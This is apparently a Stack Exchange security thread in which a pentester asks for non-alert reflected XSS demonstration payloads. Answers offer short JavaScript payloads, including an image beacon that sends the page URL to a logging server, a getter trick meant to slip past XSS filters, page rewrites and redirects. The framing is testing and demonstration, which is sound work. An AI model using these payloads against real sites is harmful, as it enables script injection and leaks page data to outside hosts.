I have been trying to find non malicious, non alert based, single command reflective XSS payloads, and have so far seen none. Anybody know of any good ones for pentesting purposes? What I mean by single line is a non alert or popup based version of javascript:alert(1); that can demonstrate reflective XSS

  • What is the thing you are trying to achieve? If you would specify why alert is not good for you, that might help getting the desired answer. Anyway, my first thought was window.location = "http:// what.ever"; – bayo Jan 23 '16 at 21:25
  • 1
    Probably trying to test for rXSS on a site that blacklists requests with "alert" in them. I've seen that before. It's stupid, since a real attack would never be using alerts, but since when has that stopped people who just want to check a box saying "the tester found no XSS"? Anyhow, there's a ton of ways to detect script execution without relying on alerts. – CBHacking Jan 25 '16 at 20:05

You can try console.log('XSS').

| improve this answer | |

For testing purposes, I think the most useful one is a HTTP request. This allows your server to log URLs which successfully reflected the XSS.

(new Image()).src = "https://localhost/log_xss?from=" + window.location;

You can also wrap it in a userscript:

// ==UserScript==
// @match <all_urls> 
// @run-at document-start
// ==/UserScript==

Object.defineProperty(window, "f", {
  get: function () {
    // Your function, you can change if you want.
    (new Image()).src = "https://localhost/log_xss?from=" + window.location;

Then testing for XSS is just as easy as:

<input onfocus=f autofocus>

There are two advantages:

  • It can help to bypass some XSS filters. "f" doesn't have any special characters, so it's very likely it won't be filtered. You'll still have to write a full payload that bypasses the filter, but it may help for detection.
  • It's also more discrete since the pentested site will never get your server's URL.
| improve this answer | |

With DOM-Manipulation one could change the page itself. In case one knows the target page, it can be manipulated in some nice ways.

An easy example would be:

document.body.innerHTML = 'XSS';
| improve this answer | |

I usually do a Google image search for an amusing image, save this to my own HTTPS server and then create an <img /> tag using the XSS vulnerability.

With a bit of imagination, this can demonstrate the vulnerability in a humorous way.

Also check out the http://www.xss-payloads.com/ site for other interesting payloads.

| improve this answer | |

For demonstration purposes, you could do a document.location redirect to a different website. A fun one would be to inject the Harlem Shake js that makes everything on the page dance.

| improve this answer | |

Depending on your audience you could also inject some javascript nonsense like a matrix screensaver (this for example).

| improve this answer | |

<img src="test.com/index.php?something=document.location/>

If put somewhere non-persistant.

| improve this answer | |
  • This does not seem non malicious, as specified in the question, at all. And I strongly believe all serious web sites use HttpOnly flags on their session cookies in 2016, so this technique is kind of out-of-date. Regards. – bayo Jan 23 '16 at 21:21
  • Please check your understanding of reflected vs persistent XSS. It's not the alert that makes it reflective! – DaniEll Jan 25 '16 at 6:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.